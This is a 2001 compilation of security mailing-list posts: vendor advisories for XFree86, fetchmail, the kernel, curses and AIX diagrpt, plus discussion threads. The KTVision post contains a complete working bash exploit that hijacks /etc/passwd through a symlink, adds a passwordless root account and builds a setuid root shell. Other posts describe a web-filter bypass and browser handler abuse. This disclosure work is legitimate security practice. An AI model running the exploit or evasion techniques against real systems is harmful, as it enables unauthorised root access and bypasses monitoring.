[RHSA-2001:071-05] New updated XFree86 packages available
- Red Hat, Inc. Red Hat Security Advisory Synopsis: New updated XFree86 packages available Advisory ID: RHSA-2001:071-05 Issue date:2001-05-24 Updated on:2001-06-22 Product: Red Hat Linux Keywords: XFree86 update security vulnerablity stable s3 savage i815 i810 Cross references: Obsoletes: - 1. Topic: New updated XFree86 3.3.6 packages are available for Red Hat Linux 7.1, 7.0, and 6.2 which contain many security updates, bug fixes, and updated drivers for various different families of video hardware including: S3 Savage, S3 Trio64, S3 ViRGE, Intel i810/i815, ATI Rage Mobility Mach64, and numerous other driver fixes and improvements. 2. Relevant releases/architectures: Red Hat Linux 6.2 - alpha, i386, sparc Red Hat Linux 7.0 - alpha, i386 Red Hat Linux 7.1 - i386 3. Problem description: Since the initial release of XFree86 3.3.6, many bugs have been fixed in the XFree86 stable branch of CVS (xf-3_3-branch). This includes several security updates, various driver and library bug fixes, and performance improvements. In addition to the updated release from XFree86.org are several further enhancements included - such as updated S3 drivers, i810/815, and other improvements. Below is a list of some of the important security updates taken from the XFree86 CHANGELOG document. The complete list of updates is quite lengthy however, so I list only some of the highlights here. This is not an exhaustive or complete list. Please refer to the XFree86 CHANGELOG document contained in the source code RPM package for the complete list. 1630. [SECURITY] Avoid DoS attacks on xdm (Keith Packard). 1629. [SECURITY] Check for negative reply length/overflow in _XAsyncReply (Xlib) (#4601, Mike Harris). 1625. Include in Xos.h to get struct tm (based on #4464, Mike Harris, and H.J. Lu). 1624. [SECURITY] fix possible buffer overflow (NOT on stack) in xdm xdmcp code (patch69 from Red Hat SRPMS). 1623. [SECURITY] Pull fixed from 4.0.2 for following problems: - XlibInt buffer overflow - libICE denial of service - XOpenDisplay buffer overflow (#4450, Branden Robinson) 1621. [SECURITY]: Fix temp file problem in Imake.rules, InstallManPageAliases (Matthieu Herrb) 1620. [SECURITY]: Pull fixes from the main branch: - XCSECURITY DoS (Paulo Caesar Pereira de Andrade and Keith Packard), - _XAsyncReply() Xlib stack corruption, - Xaw temp file handling (Branden Robinson). 1619. [SECURITY] Safe tempfile handline for imake's probing of glibc version (based on #4257, Colin Phipps). 1618. Fix a libXt bug that affects multidisplay applications when Xt is built to use select(2) rather than poll(2) (#A.181, Antony Uspensky). 1617. Back port GeForce2 support for the nv driver from 4.x (#4103, Jarno Paananen). 1616. [SECURITY] Fix a 1-byte overflow in Xtrans.c (#4182, Aaron Campbell). 1615. [SECURITY] Back port fix for http://www.securityfocus.com/archive/1/139436 from 4.0 (#4181, Matthieu Herrb). 1613. Add DPMS support to I128 driver (Robin Cutshaw). 1611. [SECURITY] Fix tmp file problem with makedepend scripts (based on report from Alan Cox). 1605. [SECURITY] Fix a buffer overflow with the -xkbmap X server flag (#A.91, Trevor Johnson). 1604. Fix an xfs crash that shows up when many clients connect (#A.48, Remy Card). 1602. Fix a core dump in fstobdf when using 16 bit fonts (#A.25, Morten Storgaard Nielsen). 1601. Fix memleak warning when doing realloc(NULL, size) (#A.7, Charles G Waldman). 1599. Fix mode restore bug in ATI driver (Marc La France). 1596. Fix Rage 128 detection bug in ATI driver (Marc La France). 1594. Fix an Xlib bug that causes freed memory to be accessed. This is exposed by Netscape (#3738, Keith Packard). 1593. Add DGA support to I128 server (Robin Cutshaw). 1592. Fix remaining ATI Mobility problems (Marc La France). 1591. Fix for dead keys in XKB Swedish, Norwegian and Finnish keyboards (#3702, 3703, Preston Brown). 1590. [SECURITY] Fix possible races in xauth and libXau (#3690, 3694, Colin Phipps). 1586. Fix the pam_close_session problems in xdm (#3621, Preston Brown). 1585. Fix an Xserver core dump that can happen when xdmcp-related command line options have missing arguments (#3614, Harald Koenig). 1578. rage128 driver fix (Marc La France). 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that y
Re: crypto flaw in secure mail standards
> * Bob can abuse the secure e-mail protocol to re-encrypt >and resend Alice's message to Charlie; This is abuse of the order in which signing and encryption take place - ie encrypt(sign(message)) this implies you can extract sign(message) from the outer envelope, and then send recrypt(sign(message)) and have it accepted as valid. (which is of course true) however, I fail to see how this would differ from a physical envelope and a signed note - if alice had written "The deal is off." on a piece of headed paper, and signed it, then sent it to Bob, he could indeed re-enclose that in another envelope and send it to charlie. however, just as you would not sign a piece of paper that says simply "I agree to the contract" you would not logically sign a note cancelling a deal, unless you include sufficient text to make it unambigous - a signed note with "Bob, I have thought over the contract for your services, and decided not to go ahead with it" would be of no value to Bob for this purpose. PGP places signature inside encryption for a reason - not only (deliberately) so you can extract sign(message) with the signature intact, but to hide the identity of the signer from those who can't decrypt the outer wrapper. > * Bob abuses the secure e-mail protocol to re-encrypt and >resend Alice's sales-plan, with her digital signature, >to a rival company's salesman Charlie. In this case, if Alice were to sign this at all, she should sign after encryption - thus giving sign(encrypt(message)) - given that asymmetric encryption is to a specified person or persons, recrypt(message) would not implicate Alice (as the signature has been discarded) > * Charlie brags openly about getting the sales plan from >Alice. When he's accused in court of stealing the plan, >Charlie presents Alice's secure e-mail as evidence of >his innocence. The real question here is - how long would it take an Expert Witness (and *I* would hire one quick enough if this got to court) to duplicate the message by taking an unencrypted but digitally signed copy of the document and simply wrapper-encrypting it to Charlie? > Surprisingly, standards-compliant secure-mail clients will > not detect these attacks. That is because it isn't an attack - you are confusing the envelope with the contents. The reason these "attacks" work is *because* sign is a separate operation to encrypt - I have signed executables from several software authors downloaded from the web. if I encrypt those and send them to someone, I do not somehow create a message from that author to that person - I am simply forwarding a signed object. If the security problem is that encrypt(sign(message)) is being interpreted wrongly as "signer sent this message to encryption target) then you need to attack that assumption, not the system.
Re: crypto flaw in secure mail standards
The presented attacks look like a hybrid of replay and man in the middle attacks known for years. I do agree that problems are real and I am looking forward to reading your paper. Let me fatasize as to how this can be solved in PGP. One can include the key id of the intended recepient into the signed portion of the message. This will clearly state the intended recipient. Below I also propose user level solutions to the problems. On Fri, Jun 22, 2001 at 10:15:03AM -0500, Don Davis wrote: > Suppose Alice and Bob are business partners, and are setting > up a deal together. Suppose Alice decides to call off the > deal, so she sends Bob a secure-mail message: "The deal is off." It is very unlikely that Alice won't include a salutation along the lines of: "Dear Bob". Which makes the message not very suitable for Charlie. Moreover doesn't PGP signature include a timestamp? (whether or not it is part of the signed message is the question I don't know the answer to) > Suppose instead that Alice & Bob are coworkers. Alice uses > secure e-mail to send Bob her sensitive company-internal > sales plan. Bob decides to get his rival Alice fired: In this case I'm afraid Alice will have to be more careful and not sign the documents she doesn't have to. Why would she send a signed internal memo? Thanks Greg
Security Update: [CSSA-2001-022.0] buffer overflow in fetchmail
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 __ Caldera International, Inc. Security Advisory Subject:buffer overflow in fetchmail Advisory number:CSSA-2001-022.0 Issue date: 2001 June, 20 Cross reference: __ 1. Problem Description In previous versions of fetchmail, there were buffer overflows when handling mail messages with very long header fields. This hole could theoretically be exploited remotely by sending messages with such headers. 2. Vulnerable Versions System Package --- OpenLinux 2.3All packages previous to fetchmail-5.0.4-1 OpenLinux eServer 2.3.1 All packages previous to and OpenLinux eBuilder fetchmail-5.0.4-1 OpenLinux eDesktop 2.4 All packages previous to fetchmail-5.2.0-2 3. Solution Workaround none The proper solution is to upgrade to the latest packages. 4. OpenLinux 2.3 4.1 Location of Fixed Packages The upgrade packages can be found on Caldera's FTP site at: ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/RPMS/ The corresponding source code package can be found at: ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/SRPMS 4.2 Verification 62bbe7566a6eea7df05542c41f8024a9 RPMS/fetchmail-5.0.4-1.i386.rpm 05f3db8ec0bb7178d123af4e9761eee5 SRPMS/fetchmail-5.0.4-1.src.rpm 4.3 Installing Fixed Packages Upgrade the affected packages with the following commands: rpm -Fhv fetchmail*.i386.rpm 5. OpenLinux eServer 2.3.1 and OpenLinux eBuilder for ECential 3.0 5.1 Location of Fixed Packages The upgrade packages can be found on Caldera's FTP site at: ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/RPMS/ The corresponding source code package can be found at: ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/SRPMS 5.2 Verification bf8ed2912bdd5a0c6f5e5d50db552c29 RPMS/fetchmail-5.0.4-1.i386.rpm 05f3db8ec0bb7178d123af4e9761eee5 SRPMS/fetchmail-5.0.4-1.src.rpm 5.3 Installing Fixed Packages Upgrade the affected packages with the following commands: rpm -Fvh fetchmail*i386.rpm 6. OpenLinux eDesktop 2.4 6.1 Location of Fixed Packages The upgrade packages can be found on Caldera's FTP site at: ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/RPMS/ The corresponding source code package can be found at: ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/SRPMS 6.2 Verification 2d278844840df47146795ae11e638493 RPMS/fetchmail-5.2.0-2.i386.rpm 85c4c3f805db47041681665f8beb3986 SRPMS/fetchmail-5.2.0-2.src.rpm 6.3 Installing Fixed Packages Upgrade the affected packages with the following commands: rpm -Fvh fetchmail*i386.rpm 7. References This and other Caldera security resources are located at: http://www.caldera.com/support/security/index.html This security fix closes Caldera's internal Problem Report 10115. 8. Disclaimer Caldera International, Inc. is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of Caldera OpenLinux. __ -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.5 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7MK8o18sy83A/qfwRAqdNAJ9gjO/Is2CkANmQ4SWQ4lq+lWok5gCgoVPh acKdO2CLkZzICeYQKNcK30s= =W/if -END PGP SIGNATURE-
[RHSA-2001:084-03] Kernel: FTP iptables vulnerability in 2.4 kernel and general bug fixes
- Red Hat, Inc. Red Hat Security Advisory Synopsis: Kernel: FTP iptables vulnerability in 2.4 kernel and general bug fixes Advisory ID: RHSA-2001:084-03 Issue date:2001-06-21 Updated on:2001-06-21 Product: Red Hat Linux Keywords: iptables FTP ip_conntrack_ftp kernel Cross references: Obsoletes: RHSA-2001:052-02 - 1. Topic: A security hole has been found that does not affect the default configuration of Red Hat Linux, but it can affect some custom configurations of Red Hat Linux 7.1. The bug is specific to the Linux 2.4 kernel series. Aside from the fix, countless bugfixes have been applied to this kernel as a result of code-audits by the MC project of the Stanford University and others. 2. Relevant releases/architectures: Red Hat Linux 7.1 - i386, i586, i686 3. Problem description: A vulnerability in iptables "RELATED" connection tracking has been discovered. When using iptables to allow FTP "RELATED" connections through the firewall, carefully constructed PORT commands can open arbitrary holes in the firewall. Default installations of Red Hat Linux 7.1 are not vulnerable; however upgrading to this kernel is recommended regardless in order to benefit from the other bug fixes in this kernel. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. The procedure for upgrading the kernel is documented at: http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html Please read the directions for your architecture carefully before proceeding with the kernel upgrade. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 26999 - drm:r128_do_wait_for_fifo 29140 - Garbage output reported in kernel startup scanning DMA zones 29573 - erroneous IRQ conflict message 29555 - [aic7xxx] Installer hangs loading the aic7xxx module 29730 - Installer hangs when mounting IDE CDROM 31769 - Kernel fails to load cs46xx module on an IBM Thinkpad T20 32723 - No Bass on Sound Blaster Live (emu10k1 chip) on 2.4.x kernel 36897 - missing entry in listing of an NFS directory served by IRIX 38429 - Ext2 file corruption with RH71 2.4.2-2 kernel and ServerWorks chipset 38536 - ide=reverse option not in install kernel 38588 - Installer hangs during package upgrades from 6.2 39445 - pcnet32: warning: PROM address does not match CSR addre 39468 - Integration of TUX broke higher number system calls 39845 - mtrr not working properly (kernel 2.4.2-2) 40123 - Rebuild of custom kernel fails with 'undefined reference' 40793 - PCMCIA services fail to recognize inserts and removals on Dell Latitude CPx with more than 256Mb RAM 41353 - Poweroff crashes just before it should power down 41856 - mtrr (write-combining) messages on Athlon 1300 43659 - Installer hangs when sym58c8xx driver loading for Tekram DC-390U3W 43940 - wvlan_cs update to 1.07 in 2.4.3-track 6. RPMs required: Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/kernel-2.4.3-12.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/devfsd-2.4.3-12.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/kernel-2.4.3-12.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/kernel-BOOT-2.4.3-12.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/kernel-doc-2.4.3-12.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/kernel-headers-2.4.3-12.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/kernel-source-2.4.3-12.i386.rpm i586: ftp://updates.redhat.com/7.1/en/os/i586/kernel-2.4.3-12.i586.rpm ftp://updates.redhat.com/7.1/en/os/i586/kernel-smp-2.4.3-12.i586.rpm i686: ftp://updates.redhat.com/7.1/en/os/i686/kernel-2.4.3-12.i686.rpm ftp://updates.redhat.com/7.1/en/os/i686/kernel-enterprise-2.4.3-12.i686.rpm ftp://updates.redhat.com/7.1/en/os/i686/kernel-smp-2.4.3-12.i686.rpm 7. Verification: MD5 sum Package Name -- 4fc88b39d9a4c133383e26e169ea0028 7.1/en/os/SRPMS/kernel-2.4.3-12.src.rpm 56441741db1afc54585c09d5d70958d2 7.1/en/os/i386/devfsd-2.4.3-12.i386.rpm dc7d6ca72aa0a81cd9070ac41c00c084 7.1/en/os/i386/kernel-2.4.3-12.i386.rpm 33eaefca0670a7908d2dd27bae24937a 7.1/en/os/i386/kernel-BOOT-2.4.3-12.i386.rpm d6494b754931b3f8cad2a9db985e9183 7.1/en/os/i386/kernel-doc-2.4.3-12.i386.rpm 6409be31e631616ad1382dd8abe49009 7.1/en/os/i386/kernel-headers-2.4.3-12.i386.rpm 047d31db622884f59036b2de6c02f72a 7.1/en/os/i386/kernel-source-2.4.3-12.i386.rpm f
Caldera Systems security advisory: libcurses, atcronsh, rtpm
___
Caldera Systems, Inc. Security Advisory
Subject:curses library, rtpm, atcronsh
Advisory number:CSSA-2001-SCO.1
Issue date: 2001 June, 22
Cross reference:
_
1. Problem Description
A buffer overrun vulnerability has been found in the curses
library. A malicious user could attack a set{uid,gid} command
that uses this library to gain privileges.
One such command that is shipped with OpenServer is
/usr/lib/sysadm/atcronsh.
One such command that is shipped with UnixWare 7 is
/usr/sbin/rtpm.
In addition, the curses library is shipped only as a static
library, so an application would need to be re-linked with
this new library to take advantage of the fix.
2. Vulnerable Versions
Operating SystemVersion Affected Files
UnixWare 7 All /usr/sbin/rtpm
/usr/ccs/lib/libcurses.a
OpenServer <= 5.0.6a /usr/lib/sysadm/atcronsh
/usr/lib/libcurses.a
3. Workaround
For rtpm:
# chmod g-s /usr/sbin/rtpm
For atcronsh:
# chmod g-s /usr/lib/sysadm/atcronsh
Otherwise, none.
4. UnixWare 7
4.1 Location of Fixed Binaries
ftp://ftp.sco.com/pub/security/unixware/sr848806/
4.2 Verification
md5 checksums:
ae2bc5b813dad2c729fb3593b59fd62alibcurses.a.Z
990d9216ed368f2939596104c60bd27brtpm.Z
md5 is available for download from
ftp://ftp.sco.com/pub/security/tools/
4.3 Installing Fixed Binaries
Backup the existing /usr/ccs/lib/libcurses.a, and replace it
with the provided libcurses.a binary. Ensure that the new
libcurses.a has bin/bin/0444 permissions.
Backup the existing /usr/sbin/rtpm and replace it with the
provided rtpm binary. Ensure that the new rtpm has
bin/sys/02555 permissions.
5. OpenServer
4.1 Location of Fixed Binaries
ftp://ftp.sco.com/pub/security/openserver/sr848771/
libcurses.a is not yet available; expect it within a week of
this advisory.
4.2 Verification
md5 checksums:
bf1ce0570284a1e12256ebac0174f6d4atcronsh.Z
md5 is available for download from
ftp://ftp.sco.com/pub/security/tools/
4.3 Installing Fixed Binaries
Backup the existing /usr/lib/sysadm/atcronsh and replace it
with the provided atcronsh binary. Ensure that the new
atcronsh has bin/cron/02111 permissions.
Backup the existing /usr/lib/libcurses.a, and replace it
with the provided libcurses.a binary. Ensure that the new
libcurses.a has bin/bin/0644 permissions.
6. References
Caldera security resources are located at the following url:
http://www.calderasystems.com/support/security/index.html
7. Disclaimer
Caldera Systems, Inc. is not responsible for the misuse of any
of the information we provide on this website and/or through
our security advisories. Our advisories are a service to our
customers intended to promote secure installation and use of
Caldera OpenLinux.
8. Acknowledgements
Caldera wishes to thank Aycan Irican <[EMAIL PROTECTED]>
for spotting the UnixWare problem.
Caldera wishes to thank KF <[EMAIL PROTECTED]> for spotting
the OpenServer problem.
_
PGP signature
SurfControl Internet Monitoring/Blocking
I have been working with the people of SurfControl for a couple of weeks now and all they say is that they will submit it as a bug in the software and try to get a fix out in the next couple of months. So here goes . You can bypass the software by using a proxy sever before your traffic is looked at by SurfControl Super Scout. After talking with the people at SurfControl it has become apparent that you may bypass all of their software that is meant for Internet monitoring. I have not been able to test it though. They only look at packets that have the HTTP GET request and "Host:" information in it. If you split up the request so that HTTP GET request is not in the same packet as the "Host:" information then you will bypass the software. You can easily do this by using a proxy server before you get to the node that is doing the Internet monitoring. If you have Compaq PC's or servers that are not patched you can proxy off the Insite Manager software (http://www.compaq.com/support/files/server/us/dow nload/9609.html). If you have PERL installed you can use RFProxy, HTTPush or Pudding. These programs were intended for the testing of IDS evasion techniques but work wonders for Internet monitoring/blocking evasion. Neil
Fwd: Microsoft Word macro vulnerability advisory MS01-034
Hi, Within minutes of Microsoft posting the bulletin on their site, my mailbox was swamped with emails from people asking the same two questions. I am therefore forwarding the below email (minus the sample document!) to the BugTraq mailing list to reach a wide audience and answer the two questions I keep getting asked: 1) Reporters asking when I notified Microsoft of the issue. As you can see below, it was the 23rd of April. Yes, I know, it was before Office XP/2002 even went on sale. 2) People asking for a sample document which defeats the macro checking. I think the most responsible course of action is to give users a chance to download the patch and/or antivirus updates before making an example available. SecurityFocus will no doubt make my sample document available at the URL http://www.securityfocus.com/bid/2876 after users have had a chance to protect themselves. Regards, Steven McLeod. >From: "Steven McLeod" <[EMAIL PROTECTED]> >To: [EMAIL PROTECTED] >CC: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], >[EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], >[EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] >Subject: Microsoft Word macro vulnerability advisory MS01-034 >Date: Fri, 22 Jun 2001 14:28:52 - >MIME-Version: 1.0 >X-Originating-IP: [210.84.112.186] >Received: from 210.84.112.186 by lw11fd.law11.hotmail.msn.com with >HTTP;Fri, 22 Jun 2001 14:28:52 GMT > > >Hi, > >I am sending this email to complement Microsoft's Word macro vulnerability >advisory just published at >http://www.microsoft.com/technet/security/bulletin/MS01-034.asp > >Attached to this email is the sample I sent Microsoft when I alerted them >to this issue. > >I am also forwarding this email with the sample included to the major >antivirus vendors for them to examine. > >I will leave it up to SecurityFocus' good judgment as to when the sample >file should be included in the "exploit" section of your vulnerability >database so that system administrators can test their systems after >applying Microsoft's patch. Looking at the structure of your site, I >assume that this sample document will reside at >http://www.securityfocus.com/bid/2876 > >I would like to take this opportunity to thank (in no particular order) >Alex Uy, Eric Schultze and Scott Culp (Microsoft Security Response Center), >Elias Levy (Mr BugTraq), and Russ Cooper (Mr NTBugTraq) for their comments >and assistance with this issue. > >Regards, >Steven McLeod. > >>From: "Steven McLeod" <[EMAIL PROTECTED]> >>To: [EMAIL PROTECTED] >>Subject: Macro Viruses >>Date: Mon, 23 Apr 2001 09:44:20 - >> >>Hi, >> >>When you open a Microsoft Word document which contains macros, >>the default security level causes MS Word to pop up a message >>box stating "This document contains macros, which could be a >>virus" and allows the user to "Disable macros" or "Enable macros". >> >>Alternatively, if the user's macro security is set to the most >>secure setting (requiring macros to be signed) all untrusted macros >>will automatically be stripped out from the document. >> >>This macro security feature of MS Word (in Office 2000 and Office >>97) can be trivially bypassed by a malicious document, allowing >>macro code in the document to be run when the document is opened >>without prompting the user or notifying them that the document >>contains macros. Furthermore, the macro will be run without user >>knowledge even if the user's security setting is at the highest >>setting (automatically strip out untrusted macros). >> >>I have attached a sample document to this email. >> >>Is this a known issue? >> >>Regards, >>Steven McLeod. > _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
IBM ERS: Vulnerability in AIX diagrpt
- Forwarded message from AIX Service Mail Server <[EMAIL PROTECTED]> - This file contains security alerts published by the IBM Emergency Response Service. These alerts are published at the following URL on the world-wide web: http://www.ers.ibm.com/ In order to keep the size of this file reasonable, it contains only advisories for the current year. You can obtain a list of previous advisories either from the above URLs, or by requesting one of the "ERS_" documents from this mail server. The fixes mentioned in this document, when available, will be available from FixDist. Information on obtaining and using FixDist is available by requesting the 'FixDist' document from this mail server, or at the following URL on the world-wide web: http://techsupport.services.ibm.com/rs6k/fixes.html The 'Security_APARs' document on this mail server contains a list of security related APARs. === === VULNERABILITY SUMMARY VULNERABILITY:Root Shell Spawning Possible Via "diagrpt" PLATFORMS:IBM AIX 4.3.x and 5.1 SOLUTION: Apply the emergency-fixes described below, or employ the workaround, also described below. THREAT: Malicious user could obtain root privileges. CERT Advisory:NONE. === DETAILED INFORMATION I. Description AIX ships with the diagnostic reporting command, "diagrpt". This command is shipped SUID, or "set user ID", and is executable by an ordinary user. An ordinary user is able to set the "DIAGDATADIR" environment veriable to a directory of his or her choosing. In this directory, a user can place a carefully crafted shell program that is executed when the user runs the "diagrpt" command. The SUID bit for "diagrpt" will run the shell program as root, and this program will force the spawning of a new shell with root privileges. II. Impact A malicious local user can use a well-crafted exploit code to gain root privileges on the attacked system, compromising the integrity of the system and its attached local network. III. Solutions A. WORKAROUND If you do not wish to install the efix for this vulnerability but instead wait for the APAR that fixes it to be made available, you can also negate this vulnerability by making the "diagrpt" command to be non-SUID. You must be "root" to do this. However, ordinary users will not be able to use the command if the SUID bit is removed. B. Official fix IBM is working on the following fixes which will be available soon: AIX 4.3.x and 5.1: APAR assignment pending. NOTE: Fix will not be provided for versions prior to 4.3 as these are no longer supported by IBM. Affected customers are urged to upgrade to 4.3.3 at the latest maintenance level, or to 5.1. C. How to minimize the vulnerability Temporary fixes for AIX 4.3.x and 5.1 systems are available. The temporary fixes can be downloaded via ftp from: ftp://aix.software.ibm.com/aix/efixes/security/diagrpt_efix.tar.Z The efix tarball consists of two patched diagrpt tarred binaries, one for AIX 4.3.x systems (diagrpt.43.tar) and one for AIX 5.1 (diagrpt.51.tar). A copy of this Advisory is included in the efix tarball. These temporary fixes have not been fully regression tested; thus, IBM does not warrant the fully correct functioning of the efix. Customers install the efix and operate the modified version of AIX at their own risk. To proceed with efix installation: First, verify the MD5 cryptographic hash sums of each efix files you obtain from unpacking the efix tarball with those given below. These should match exactly; if they do not, double check the hash results and the download site address. If OK, contact IBM AIX Security at [EMAIL PROTECTED] and describe the discrepancy. Filenamesum md5 = diagrpt.43.tar 0287530 168c5bf253b516cd7e6a69a94aefa061 diagrpt.51.tar 0232730 f5df8339dde46d3cc12c6d7b22fd37c4 Efix Installation Instructions: --- IMPORTANT NOTICE: Before installing the efix, you must upgrade to the latest maintenance level of AIX for your version of AIX. For AIX 4.3, this level is 4.3.3.75. For AIX 5.1, this level is 5.1.0.0. 1. Become root, if not already done. 2. Change to the /usr/lpp/diagnostics/bin directory. Make a backup copy of the existing diagrpt binary, giving it a distinctive, meaningful name, such as "diagrpt.original" or "diagrpt.backup".
pam session
Hi, Does anybody know why openssh (openssh-2.9p1) on a linux system does not call pam_open_session if no pty is used? In this way the session modules (in /etc/pam.d) are not activated. This is espacially anoying if you use pam_limits.so to set rlimits. Every user could cirrcumvent them easily by calling ssh in this way: ssh user@server /bin/sh I do not know if this issue has been disscused before and if this behavior is not alright . cu Christian
Symlinks symlinks...this time KTVision
Hi ppl,
the subject already states the problem: there is a symlink follow
problem in the (in many distributions suid root) ktvision binary <=
0.1.1-271.
It is discouraging that nowadays such trivial symlink attacks are still
possible. No comment anymore. In order to be complete: a bash script
demonstrating this vulnerability is attached below.
Ihq.
- ktv.sh ---
#!/bin/bash
link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision
echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""
if ! test -u $target ; then
echo "[-] $target not found"
exit 1
fi;
echo "[+] $target found"
rm -f sush*
cat <<__DUPA__>>sush.c
#include
main()
{
setuid(geteuid());
setgid(getegid());
execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__
echo "compiling sush"
res=$(gcc sush.c -o sush)
if test "$res" != "" -o ! -x sush ; then
echo "[-] failed"
rm sush* ktvback.*
exit 2;
fi;
echo "[+] success"
cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc
echo ""
echo -n "now running... (ensure that X is up and running)"
$target >/dev/null 2>&1 &
cpid=$!
declare -i cnt
declare -i max
cnt=0
max=60
while ! test -O $linkto ; do
sleep 1;
printf " %.2d" $cnt
cnt=$(($cnt+1))
if test $cnt -ge $max ; then
echo ""
echo ""
echo "[-] FAILED"
rm sush* ktvback.*
exit 2;
fi;
done;
kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc
echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c
if ! test -u sush ; then
echo "hm strange error"
rm sush* ktvback.*
exit 1
fi;
echo ""
echo "starting ./sush"
./sush
#!plonk
Re: The Dangers of Allowing Users to Post Images
I'm going to try and throw another issue into this discussion now too: denial of service. We have discussed it for attacking remote servers, but not for the client viewing the image. It's something else that I spotted while I was playing around with this issue just now. If you have images that include a mailto:[EMAIL PROTECTED] source, then the default handler for mailto: links is opened up. Be that Outlook, Netscape Composer, Eudora, or whatever else you care to use. So if someone embedded 100 (arbitrary figure) mailto: images in a page, then this would do a lot of harm to the user's computer. At best, it would get very busy for a few minutes creating new emails, and would be a pain to clear up. At worst, it could bring the whole system crashing down. So there's something else that needs to be checked in webmail clients in incoming mail, or user submitted content on forums, guestbooks, etc. Blocking mailto: in image tags seems like the best solution for us at vBulletin, so that is probably what we will do. In most general cases, only allowing mailto: in nntp:// might have a similar undesirable effect, but I have not tested this. Finally, another problem that we had to address a while ago in vBulletin was the use of the about: 'handler' in Internet Explorer. Try viewing this URL from your faviourite version of IE (tested on 6.0 beta) about:HiHello This allows anyone to insert their very own HTML, unchecked for nasties, javascript, or anything else, directly into the client's browser. Note that it may need to be 'url encoded' according to RFC1738. This will work for an http://wwp.icq.com/scripts/search.dll?to=42892594 aim:goim?screenname=jhpercival&message=Hi.+Are+you+there? telnet:[EMAIL PROTECTED] Anyway, a few more things to discuss and chew over there! Regards, John Percival Product Manager, vBulletin http://www.vbulletin.com/ mailto:[EMAIL PROTECTED] "vBulletin: Community Instantly"
Re: [Fwd: Re: Cross-Site Request Forgeries (Re: The Dangers ofAllowing Users to Post Images)]
Lincoln Yeoh wrote: > > And if Microsoft Word becomes very intertwined with IE (word uses IE to > fetch stuff) then word documents with image/object links will also be an > issue. Mix well and add a few macros to taste ;). > While MS is the big wide target, it isn't just them that need to worry. 1) Many other pieces of software, including mail clients, use the mshtml.dll library and can inherit any security bugs. I seem to fuzzily remember Eudora mail and Novell GroupWise client allowing JavaScript popups and probably being vulnerable to a whole host of vulnerabilities. Luckily most vulnerabilities are targeted at Outlook and OE but could be recoded to use other email clients. 2) Other environments that provide tight integration of components (I'm thinking of KDE/Konqueror since I am a user of it) may also be vulnerable to these issues. I don't really know how other environments/object models deal with these issues, it would be nice to hear from the various development teams/companies and how they have dealt with these issues. -- Mark Tinberg <[EMAIL PROTECTED]> Network Security Engineer SecurePipe, Inc. -- Managed Network Security Services Remember: Wherever you go, there you are!
Re: [BUGTRAQ] Re: never-ending Referer arguments (The Dangers of Allowing Users to Post Images)
On Tue, 19 Jun 2001, Peter W wrote: > On Tue, Jun 19, 2001 at 03:44:10PM +0200, Henrik Nordstrom wrote: > > [EMAIL PROTECTED] wrote: > > > > > Folks are missing the point on the Referer check that I suggested. > > > > I intentionally selected to not go down that path in my message as there > > are quite a bit of pitfalls with Referer, and it can easily be > > misunderstood allowing the application designer falsely think they have > > done a secure design using Referer. > > Henrik, > > You also revealed your lack of understanding the Referer check logic when Snide commentary aside, there seems to be a misunderstanding about Referers and their use in any type of validation or check. Let me see if I can make this as clear as possible: Using the referer for anything other than statistics gathering to show the marketing wonks who is linking to your site would be, and is, a mistake. Whether the referer exists or not, is correct or not, or is even the correct format for a URI should be completely irrelevant. If the referer is relevant in -any- way to the integrity of the data you are attempting to validate then your security model is broken. > All this chatter about Referer checks amounts to two things: > - some folks not understanding the model I understand your model perfectly well and I see it for the fallacy that it is. That you apparently cannot see this for yourself is distressing. I do not see the logic in validating user submitted (form) data with yet more user submitted data. Perhaps I'm misunderstanding why you (or anyone for that matter) would blindly put any credibility what-so-ever in any user input, which includes the Referer. Your "three-stage security model" has but 1 stage that I can see. The other two steps are sugar coating that add no further benefit to your security "model". From one of your previous emails... > An attacker can trick the victim's browser into sending 1 + 2. Or the > attacker himself can send 2 + 3. But the attacker cannot get the victim to > send 1 + 2 + 3, unless the application is poorly designed. By definition an exploitable web application is poorly designed. I 